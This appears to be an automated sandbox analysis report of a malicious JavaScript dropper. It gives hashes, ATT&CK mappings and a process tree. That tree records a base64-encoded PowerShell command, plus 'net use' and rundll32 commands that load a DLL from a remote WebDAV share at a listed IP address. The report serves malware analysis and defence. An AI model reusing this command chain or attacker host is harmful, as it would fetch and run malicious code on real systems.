ca3a8107b0c1ecf1a9f258e5b155a652e81710a2fa910bfd5ed31305a10ed06f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/10/2024, 04:04

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General

Target

30380270752820223330.js
Size

179KB
MD5

4381a19f7cdefed07d6582d2ef4edea5
SHA1

31549df8207d845d31fe3617ef07c080c70b40b6
SHA256

ca3a8107b0c1ecf1a9f258e5b155a652e81710a2fa910bfd5ed31305a10ed06f
SHA512

626502bf3c8f03b4cdcb03725da6ea56d0d12becb15290e4b8845ec0cbd7dd4056532e47b5f24c202b87f2b84e4e1e025d7d0bee33c8ebcc04fde149adc8345b
SSDEEP

1536:+wTY3P30itez3m2h9jKRhosE0grz0pBf0Q19D/saVsosa0Qop8nynSX2osR0NhbW:1Y3PkipL4FeWoLVuSljog+

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2368	2972	wscript.exe	30
PID 2972 wrote to memory of 2368	2972	wscript.exe	30
PID 2972 wrote to memory of 2368	2972	wscript.exe	30
PID 2368 wrote to memory of 2724	2368	powershell.exe	32
PID 2368 wrote to memory of 2724	2368	powershell.exe	32
PID 2368 wrote to memory of 2724	2368	powershell.exe	32
PID 2368 wrote to memory of 2840	2368	powershell.exe	33
PID 2368 wrote to memory of 2840	2368	powershell.exe	33
PID 2368 wrote to memory of 2840	2368	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\30380270752820223330.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwANAA3ADYAMwAxADIANgAyADMAMQAwADkANQAyAC4AZABsAGwALABFAG4AdAByAHkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:2724
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\47631262310952.dll Entry
    3⤵
    PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2368-4-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2368-7-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2368-6-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2368-8-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-12-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download